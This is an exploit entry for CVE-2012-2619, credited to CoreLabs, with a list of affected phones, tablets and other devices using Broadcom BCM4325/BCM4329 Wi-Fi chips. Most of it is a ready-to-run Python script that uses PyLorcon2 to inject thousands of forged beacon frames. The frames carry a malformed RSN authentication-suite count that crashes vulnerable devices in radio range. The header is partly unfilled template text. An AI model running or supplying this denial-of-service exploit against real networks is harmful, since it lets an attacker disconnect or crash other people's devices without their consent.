Broadcom BCM4325 / BCM4329 Devices - Denial of Service

# Exploit Author:
CoreLabs (Core Security Technologies) fue descubierta por el 
investigador argentino Andrés Blanco,
# Vendor Homepage: 
# Software Link: [download link if available]
# Version: 1.0
# Tested on: 
Apple iPhone 3GS 
Apple iPod 2G 
HTC Touch Pro 2 
HTC Droid Incredible 
Samsung Spica 
Acer Liquid 
Motorola Devour 
Vehículo Ford Edge 
Dispositivos afectados con el chipset BCM4329: 
Apple iPhone 4 
Apple iPhone 4 Verizon 
Apple iPod 3G 
Apple iPad Wi-Fi 
Apple iPad 3G 
Apple iPad 2 
Apple Tv 2G 
Motorola Xoom 
Motorola Droid X2 
Motorola Atrix 
Samsung Galaxy Tab 
Samsung Galaxy S 4G 
Samsung Nexus S 
Samsung Stratosphere 
Samsung Fascinate 
HTC Nexus One 
HTC Evo 4G 
HTC ThunderBolt 
HTC Droid Incredible 2 
LG Revolution 
Sony Ericsson Xperia Play 
Pantech Breakout 
Nokia Lumina 800 
Kyocera Echo 
Asus Transformer Prime 
Malata ZPad"

# CVE : 2012-2619
#!/usr/bin/env python 

import sys 
import time 
import struct 
import PyLorcon2 

def beaconFrameGenerator(): 
    sequence = 0 
    while(1): 
        sequence = sequence % 4096 

        # Frame Control 
        frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon 
        frame += '\x00' # Flags: 0 
        frame += '\x00\x00' # Duration: 0 
        frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff 
        frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad 
        frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad 
        frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence: 
#part of the generator 
        # Frame Body 
        frame += struct.pack('Q', time.time()) # Timestamp 
        frame += '\x64\x00' # Beacon Interval: 0.102400 seconds 
        frame += '\x11\x04' # Capability Information: ESS, Privacy, 
#Short Slot time 
        # Information Elements 
        # SSID: buggy 
        frame += '\x00\x05buggy' 
        # Supported Rates: 1,2,5.5,11,18,24,36,54 
        frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c' 
        # DS Parameter Set: 6 
        frame += '\x03\x01\x06' 
        # RSN IE 
        frame += '\x30' # ID: 48 
        frame += '\x14' # Size: 20 
        frame += '\x01\x00' # Version: 1 
        frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP 
        frame += '\x01\x00' # Pairwise cipher suite count: 1 
        frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP 
        frame += '\xff\xff' # Authentication suites count: 65535 
        frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK 
        frame += '\x00\x00' 

        sequence += 1 
        yield frame 

if __name__ == "__main__": 
    if len(sys.argv) != 2: 
        print "Usage:" 
        print "\t%s <wireless interface>" % sys.argv[0] 
        sys.exit(-1) 

    iface = sys.argv[1] 
    context = PyLorcon2.Context(iface) 
    context.open_injmon() 

    generator = beaconFrameGenerator() 

    for i in range(10000): 
        frame = generator.next() 
        time.sleep(0.100) 
        context.send_bytes(frame)